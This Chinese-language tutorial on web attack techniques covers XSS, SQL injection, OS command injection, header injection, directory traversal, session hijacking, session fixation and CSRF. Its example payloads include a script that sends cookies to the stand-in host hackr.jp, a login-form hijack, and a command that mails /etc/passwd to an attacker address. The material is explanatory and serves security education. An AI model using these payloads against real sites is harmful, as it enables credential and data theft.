Web 攻击技术

本文主要讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响。

针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种:

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击

主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问那些资源。

主动攻击模式中具有代表性的攻击是 SQL 注入攻击OS 命令注入攻击

以服务器为目标的被动攻击

被动攻击是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访问发起攻击。

被动攻击通常的攻击模式如下所示:

  1. 攻击者诱使用户触发已设置号的陷阱,而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  2. 当用户不知不觉中招以后,用户的浏览器或邮件客户端就会触发这个陷阱。
  3. 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用,运行攻击代码。
  4. 执行完攻击代码,存在安全漏洞的 Web 应用会成为攻击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。

主动攻击模式中具有代表性的攻击是跨站脚本攻击跨站点请求伪造

利用用户的身份攻击企业内部网络

利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。

因输出值转义不完全引发的安全漏洞

实施Web应用的安全对策大致有两个部分:

  • 客户端的验证
  • Web 应用端(服务端)的验证:
    • 输入值验证
    • 输出值转义

跨站脚本攻击(Cross-Site Scripting, XSS)

XXS 是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。指的是恶意攻击者往 Web 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意用户的特殊目的。动态创建的 HTML 部分有可能隐藏着安全漏洞。用户在浏览时,不小心就会受到被动攻击。

跨站脚本攻击可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求
  • 显示伪造的文章或图片

在动态生成 HTML 处发生

以编辑个人信息页面为例:


图:编辑界面输入的字符串原样显示在确认界面
图:按照输入内容原样显示的机制

输入带有HTML标签的字符串,浏览器会把用户输入的 <s> 解析成 HTML 标签。删除线显示出来并不会造成太大的不利后果,但如果换成使用 script 标签呢?

XSS 是攻击者利用预先设置的陷阱触发的被动攻击

跨站脚本攻击属于被动攻击模式,因此攻击者会事先布置好用于攻击的陷阱。

下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。

充分熟知此处漏洞特点的攻击者,于是创建了下面这段潜入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击该 URL。

http://example.jp/login?ID="><script>var+f=document
.getElementById("login");+f.action="http://hackr.jp/pwget";+f.
method="get";</script><span+s="

浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。



之后,ID 及密码会传给该正规网站,接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄漏。

http://example.jp/login?ID=yama请求时对应的HTML源代码(摘录)

<div class="logo">
  ![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
  ID <input type="text" name="ID" value="yama" /> 
</div>

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s=" 请求时对应的HTML源代码(摘录)

<div class="logo">
  ![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
  ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s=""/>
</div>

其中,f.method = "get" 表示从 URI 提交,表单可以跨域请求。

对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用JavaScript编写的代码

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content); 
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。

SQL 注入攻击(SQL Injection)

SQL 注入是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。是攻击者将 SQL 语句改变成开发者意想不到的形式以达到破坏结构的攻击。

SQL 注入攻击有可能会造成以下等影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序

下面以某个购物网站的搜索功能为例,讲解 SQL 注入攻击。通过该功能,我们可以将某作者的名字作为搜索关键字,查找该作者的所有著作。

正常处理的操作

select * from bookTbl where author = '上野宣' and flag = 1;

URL (http://example.com/search?q=上野宣)的查询字段已指定 q = 上野宣,这个值由 Web 应用传入到 SQL 语句中,构成上面的 SQL 语句。

该 SQL 语句表示“从 bookTbl 表中,显示满足 author = 上野宣 and flag = 1(可售)所在行的数据”。

SQL 注入攻击案例

把刚才指定查询字段的上野宣改写成“上野宣 '--”。

select * from bookTbl where author = '上野宣'--' and flag = 1;

SQL 语句中的 -- 之后全视为注释。即,and flag = 1 这个条件被自动忽略了。结果和 flag 的设定值无关,只取出满足 author = “上野宣” 条件所在行的数据,这样连那些尚未出版的图书也一并显示出来了。

OS 命令注入攻击(OS Command Injection)

OS 命令注入攻击是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。

可以从 Web 应用中通过 Shell 来调用操作系统命令,倘若调用 Shell 时存在疏漏,就可以执行插入的非法 OS 命令。

OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可以执行 OS 上。

OS 注入攻击案例
下面以咨询表单的发送功能为例,讲解 OS 注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。以下是处理该表单内容的一部分核心代码:

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/local/sendmail $adr");
print MAIL "From info@example.com\n";

程序中的 open 函数会调用 send 命令发送邮件,而指定的邮件发送地址即 $adr 的值。攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@exaple.jp

程序接收该值,构成以下的命令组合。

| /usr/sbin/sendmail ;cat /etc/passwd | mail hack@example.jp

攻击者的输入值中有分号(;)这个符号在 OS 命令中,会被解析为分割多个执行命令的标记。可见,Sendmail 命令执行被分隔后,接下去就会执行 cat /etc/passwd | mail hack@example.jp 这样的命令了。结果,含有 Linux 账号信息 /etc/passwd 的文件,就以邮件形式发送给 hack@example.jp

HTTP 首部注入攻击(HTTP Header Injection)

HTTP 首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。

向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)。

如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。

Location http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

*12345 就是插入值

HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
HTTP 首部注入攻击可能造成的影响:

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意主体(HTTP 响应截断攻击)

HTTP 首部注入攻击案例
下面我们以选定某个类别后即可跳转至个类别对应页面的功能为例,讲解 HTTP 首部注入攻击。该功能为每个类别都设定了一个类别 ID 值,一旦选定某类别,就会将该 ID 值反映在响应内的 Location 首部字段内,形如 Location: http://example.com?cat=101。令浏览器发生重定向跳转。

图:HTTP 首部注入攻击示例

攻击者以下面的内容替代之前的类别 ID 后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中,%0D%0A代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成 SID=123456789Set-Cookie 首部字段。

发送该请求之后,假设结果返回以下响应。

Location: http://example.com/?cat=101 (%0D%0A:换行符)
Set-Cookie: SID=123456789

此刻,首部字段Set-Cookie已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)组合,攻击者可伪装成用户。

攻击者输入的%0D%0A,原本应该属于首部字段Location的查询值部分,但经过解析后,%0D%0A变成了换行符,结果插入了新的首部字段。这样一来,攻击者可在响应中插入任务的首部字段。

HTTP 响应截断攻击
HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。

Set-Cookie:UID =(%0D%0A:换行符)
(%0D%0A:换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容
<!--(原来页面对应的首部字段和主体部分全视为注释)

利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。

另外,滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页。

邮件首部注入攻击(Mail Header Injection)

邮件首部注入攻击是指 Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮件或病毒邮件。

邮件首部注入攻击案例
攻击者将以下数据作为邮件地址发起请求。

bob@hackr.jp%0D%0ABcc: user@example.com

%0D%0A在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。

另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送。

bob@hackr.jp%0D%0A%0D%0ATest Message

再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。

目录遍历攻击(Directory Traversal)

目录遍历攻击是指对本无本意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。

通过 Web 应用对文件处理操作时,由外部指定文件名的处理存在疏漏的情况下,用户可使用../等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。

固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。

目录遍历攻击案例
下面以显示读取文件功能为例,讲解目录遍历攻击。该功能通过以下查询字段,指定某个文件名。然后从/www/log/文件目录下读取指定文件。

http://example.com/read.php?log=0401.log

攻击者设置如下查询字段后发出请求。

http://example.com/read.php?log=../../etc/passwd

查询字段为了读取攻击者盯上的/etc/passwd文件,会从/www/log/目录开始定位相对路径。如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。

远程文件包含漏洞(Remote File Inclusion)

远程文件包含漏洞是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,当脚本读取之后,就可运行任意脚本的一种攻击。

因设置或设计上的缺陷引发的安全漏洞

因设置或设计上的缺陷引发的安全漏洞是指,错误设置 Web 服务器,或是由设计上的一些问题引起的安全漏洞。

强制浏览(Forced Browsing)

强制浏览是指从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。

强制浏览有可能造成的影响:

  • 泄露顾客的个人信息等重要情报
  • 泄露原本需要具有访问权限的用户才可查阅的信息内容
  • 泄露未外连接到外界的文件

对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。可一旦知道了那些 URL,也就意味着可浏览 URL 对应的文件。直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使 URL 产生泄露。

强制浏览导致安全漏洞的案例
下面我们以会员制度的 SNS 日记功能为例,讲解强制浏览可能导致的安全漏洞。该日志功能保证除具有访问权限的用户本人外,其他人都不能访问日记。


即使没有对这篇日记的访问权限,只要知道这图片的 URL,通过直接指定 URL 的方式就能显示该图片。日记的功能和文本具有访问对象的控制,但不具备对图片访问对象的控制,从而产生了安全漏洞。

不正确的错误消息处理(Error Handling Vulnerability)

不正确的错误消息处理是指 Web 应用的错误信息内包含对攻击者有用的信息。Web 应用不必在用户浏览页面上展现详细的错误信息,对攻击者来说,详细的错误消息有可能给他们的下一次攻击以提示。

与 Web 应用有关的主要错误信息如下所示:

  • Web 应用抛出的错误信息
  • 数据库等系统抛出的错误消息

开放重定向(Open Redirect)

开放重定向是指一种对指定的任意 URL 作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。

因会话管理疏忽引发的安全漏洞

会话管理是用来管理用户状态的必备功能,但是如果管理有所疏忽,就会导致用户的认证状态被窃取等后果。

会话劫持(Session Hijack)

会话劫持是指攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。


具备认证功能的 Web 应用,使用会话 ID 的会话管理机制,作为管理认证状态的主流方式。会话 ID 中记录客户端的 Cookie 等信息,服务器端将会话 ID 与认证状态进行一对一匹配管理。
下面列举了几种攻击者可获得会话 ID 的途径:

  • 通过非正规的生成方法推测会话 ID
  • 通过窃听或 XSS 攻击盗取会话 ID
  • 通过会话固定攻击强行获取会话 ID

会话劫持攻击案例
下面以认证功能为例讲解会话劫持。这里的认证功能通过会话管理机制,会将成功认证的用户的会话 ID (SID)保存在用户浏览器的 Cookie 中。


攻击者在得知该 Web 网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用 Javascript 脚本调用 document.cookie 以窃取 Cookie 信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话 ID 的 Cookie。

攻击者拿到用户的会话 ID 后,往自己的浏览器的 Cookie 中设置该会话 ID,即可伪装成会话 ID 遭窃的用户,访问 Web 网站了。

会话固定攻击(Session Fixation)

对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。

会话固定攻击案例
下面以认证功能为例讲解会话固定攻击。这个 Web 网站的认证功能,会在认证前发布一个会话 ID,若认证成功,就会在服务器内改变认证状态。


攻击者准备陷阱,先访问 Web 网站拿到会话 ID(SID=f5d1278e8109)。此时,会话 ID 在服务器上的记录仍是(未认证)状态。(步骤 1、2)

攻击者设置好强制用户使用该会话 ID 的陷阱,并等待用户拿着这个会话 ID 前去认证。一旦用户触发陷阱并完成认证,会话 ID(SID=f5d1278e8109)在服务器上的状态(用户 A 已认证)就会被记录下来。(步骤 3)

攻击者估计用户差不多已触发陷阱后,再利用之前这个会话 ID 访问网站。由于该会话 ID 目前已是(用户 A 已认证)状态,于是攻击者作为用户 A 的身份顺利登录网站。(步骤 4)

Session Adoption
Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID 的功能。

恶意使用该功能便可跳过会话固定攻击的准备阶段,从 Web 网站获得发行的会话 ID 的步骤。即,攻击者可私自创建会话 ID 构成陷阱,中间件却会误以为该会话 ID 是未知会话 ID 而接受。

跨站点请求伪造(Cross-Site Request Forgeries, CSRF)

跨站点请求伪造是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。可能造成的影响:

  • 利用已通过认证的用户权限更新设定信息
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

跨站点请求伪造攻击案例
下面以留言板功能为例,讲解跨站点请求伪造。该功能只允许已认证并登录的用户在留言板上发表内容。


在该留言板系统上,受害者用户 A 是已认证状态。它的浏览器中的 Cookie 持有已认证的会话 ID (步骤 1)。

攻击者设置好一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户 A 的浏览器执行完陷阱中的请求后,留言板也就会留下那条评论(步骤 2)。

触发陷阱之际,如果用户 A 尚未通过认证,则无法利用用户 A 的身份权限在留言板上发表内容。

其他安全漏洞

密码破解(Password Cracking)

即算出密码,突破认证。攻击不仅限于 Web 应用,还包括其他系统。

点击劫持(Clickjacking)

是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上,然后诱导用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。

Dos攻击(Denial of Service attack)

Dos 攻击是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。Dos 攻击的对象不局限于 Web 网站,还包括网络设置及服务器等。

有两种攻击方式:

  • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
  • 通过攻击安全漏洞使服务停止。

其中,集中利用访问请求的 DoS 攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止 DoS 攻击。


多台计算机发起的 DoS 攻击成为 DDoS 攻击(Distributed Denial of Service attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

后门程序(Backdoor)

后门程序是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限的功能。

通常分类:

  • 开发阶段作为 Debug 调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

推荐阅读更多精彩内容